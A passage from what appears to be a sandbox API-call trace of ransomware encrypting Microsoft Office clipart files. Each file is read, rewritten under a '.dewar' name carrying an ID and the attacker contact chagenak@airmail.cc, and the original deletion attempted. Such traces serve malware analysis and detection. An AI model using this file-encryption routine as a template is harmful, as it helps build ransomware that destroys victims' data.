lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0xda0, lpOverlapped=0x0) returned 1 [0281.668] WriteFile (in: hFile=0x128, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0xf2, lpOverlapped=0x0) returned 1 [0281.668] CloseHandle (hObject=0x1e0) returned 1 [0281.668] CloseHandle (hObject=0x128) returned 1 [0283.458] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif")) returned 0 [0283.462] SetEvent (hEvent=0x118) returned 1 [0283.464] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0283.465] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=15308) returned 1 [0283.465] CloseHandle (hObject=0x1e0) returned 1 [0283.466] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 0x20 [0283.466] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 0x20 [0283.466] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0283.466] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0283.467] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0283.467] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0283.467] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b0 [0283.480] ReadFile (in: hFile=0x1e0, lpBuffer=0x32c0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x319fa7c, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesRead=0x319fa7c*=0x3bcc, lpOverlapped=0x0) returned 1 [0283.486] WriteFile (in: hFile=0x1b0, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0x3bd0, lpOverlapped=0x0) returned 1 [0283.489] WriteFile (in: hFile=0x1b0, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0xf2, lpOverlapped=0x0) returned 1 [0283.490] CloseHandle (hObject=0x1e0) returned 1 [0283.490] CloseHandle (hObject=0x1b0) returned 1 [0283.491] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 0 [0283.492] SetEvent (hEvent=0x118) returned 1 [0283.493] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0283.494] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=5315) returned 1 [0283.494] CloseHandle (hObject=0x1b0) returned 1 [0283.494] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif")) returned 0x20 [0283.494] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif")) returned 0x20 [0283.494] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0283.495] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0283.495] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0283.495] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0283.495] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1f8 [0283.793] ReadFile (in: hFile=0x1b0, lpBuffer=0x32c0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x319fa7c, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesRead=0x319fa7c*=0x14c3, lpOverlapped=0x0) returned 1 [0283.797] WriteFile (in: hFile=0x1f8, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0x14d0, lpOverlapped=0x0) returned 1 [0283.800] WriteFile (in: hFile=0x1f8, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0xf2, lpOverlapped=0x0) returned 1 [0283.800] CloseHandle (hObject=0x1b0) returned 1 [0283.800] CloseHandle (hObject=0x1f8) returned 1 [0283.802] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif")) returned 0 [0283.802] SetEvent (hEvent=0x118) returned 1 [0283.802] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0283.804] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1146) returned 1 [0283.804] CloseHandle (hObject=0x1f8) returned 1 [0283.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif")) returned 0x20 [0283.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif")) returned 0x20 [0283.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0283.805] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0283.806] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0283.806] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0283.806] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b0 [0283.807] ReadFile (in: hFile=0x1f8, lpBuffer=0x32c0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x319fa7c, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesRead=0x319fa7c*=0x47a, lpOverlapped=0x0) returned 1 [0283.812] WriteFile (in: hFile=0x1b0, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0x480, lpOverlapped=0x0) returned 1 [0283.815] WriteFile (in: hFile=0x1b0, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0xf2, lpOverlapped=0x0) returned 1 [0283.816] CloseHandle (hObject=0x1f8) returned 1 [0283.816] CloseHandle (hObject=0x1b0) returned 1 [0283.817] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif")) returned 0 [0283.818] SetEvent (hEvent=0x118) returned 1 [0283.818] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0283.820] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=7583) returned 1 [0283.820] CloseHandle (hObject=0x1b0) returned 1 [0283.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif")) returned 0x20 [0283.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif")) returned 0x20 [0283.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0283.821] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0283.821] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0283.821] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0283.821] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1f8 [0283.822] ReadFile (in: hFile=0x1b0, lpBuffer=0x32c0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x319fa7c, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesRead=0x319fa7c*=0x1d9f, lpOverlapped=0x0) returned 1 [0283.828] WriteFile (in: hFile=0x1f8, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0x1da0, lpOverlapped=0x0) returned 1 [0283.831] WriteFile (in: hFile=0x1f8, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0xf2, lpOverlapped=0x0) returned 1 [0283.831] CloseHandle (hObject=0x1b0) returned 1 [0283.832] CloseHandle (hObject=0x1f8) returned 1 [0283.833] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif")) returned 0 [0283.834] SetEvent (hEvent=0x118) returned 1 [0283.834] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0284.370] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=6984) returned 1 [0284.370] CloseHandle (hObject=0x1f8) returned 1 [0284.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 0x20 [0284.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 0x20 [0284.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0284.372] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0284.373] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0284.373] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0284.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e0 [0284.374] ReadFile (in: hFile=0x1f8, lpBuffer=0x32c0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x319fa7c, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesRead=0x319fa7c*=0x1b48, lpOverlapped=0x0) returned 1 [0284.392] WriteFile (in: hFile=0x1e0, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0x1b50, lpOverlapped=0x0) returned 1 [0284.395] WriteFile (in: hFile=0x1e0, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0xf2, lpOverlapped=0x0) returned 1 [0284.395] CloseHandle (hObject=0x1f8) returned 1 [0284.401] CloseHandle (hObject=0x1e0) returned 1 [0284.406] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 0 [0284.407] SetEvent (hEvent=0x118) returned 1 [0284.407] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0284.408] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=5375) returned 1 [0284.408] CloseHandle (hObject=0x1e0) returned 1 [0284.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif")) returned 0x20 [0284.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif")) returned 0x20 [0284.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0284.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0284.409] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0284.410] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0284.410] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1f8 [0284.416] ReadFile (in: hFile=0x1e0, lpBuffer=0x32c0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x319fa7c, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesRead=0x319fa7c*=0x14ff, lpOverlapped=0x0) returned 1 [0284.430] WriteFile (in: hFile=0x1f8, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0x1500, lpOverlapped=0x0) returned 1 [0284.433] WriteFile (in: hFile=0x1f8, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0xf2, lpOverlapped=0x0) returned 1 [0284.434] CloseHandle (hObject=0x1e0) returned 1 [0284.435] CloseHandle (hObject=0x1f8) returned 1 [0284.438] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif")) returned 0 [0284.439] SetEvent (hEvent=0x118) returned 1 [0284.439] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0284.440] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=9248) returned 1 [0284.441] CloseHandle (hObject=0x1f8) returned 1 [0284.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif")) returned 0x20 [0284.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif")) returned 0x20 [0284.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0284.441] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0284.442] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0284.442] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0284.442] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e0 [0284.443] ReadFile (in: hFile=0x1f8, lpBuffer=0x32c0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x319fa7c, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesRead=0x319fa7c*=0x2420, lpOverlapped=0x0) returned 1 [0284.454] WriteFile (in: hFile=0x1e0, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0x2430, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0x2430, lpOverlapped=0x0) returned 1 [0284.458] WriteFile (in: hFile=0x1e0, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0xf2, lpOverlapped=0x0) returned 1 [0284.458] CloseHandle (hObject=0x1f8) returned 1 [0284.458] CloseHandle (hObject=0x1e0) returned 1 [0284.462] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif")) returned 0 [0284.463] SetEvent (hEvent=0x118) returned 1 [0284.463] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0284.464] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: 